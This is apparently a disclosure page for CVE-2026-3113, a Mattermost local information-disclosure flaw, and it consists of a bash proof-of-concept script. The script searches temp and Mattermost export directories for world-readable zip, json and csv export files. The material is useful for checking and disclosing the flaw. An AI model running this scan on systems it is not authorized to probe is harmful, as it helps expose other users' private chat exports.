CVE-2026-3113 Mattermost本地信息泄露漏洞

#!/bin/bash # PoC for CVE-2026-3113: Mattermost Bulk Export Permission Check # Description: This script simulates a local non-privileged user # checking for readable Mattermost export files in common directories. TARGET_DIRS=("/tmp" "/var/tmp" "/opt/mattermost/data/export") echo "[*] Scanning for Mattermost bulk export files with loose permissions..." for dir in "${TARGET_DIRS[@]}"; do if [ -d "$dir" ]; then # Find files readable by 'others' (o+r) # Filter for potential export extensions (zip, json, csv) find "$dir" -type f \( -name "*.zip" -o -name "*.json" -o -name "*.csv" \) -perm -o+r 2>/dev/null | while read file; do echo "[+] Found readable file: $file" # Check if file content hints at Mattermost data (simulation) # head -n 1 "$file" | grep -iq "mattermost" && echo " -> Potential Mattermost export detected" done fi done echo "[!] Scan complete. Verify identified files manually."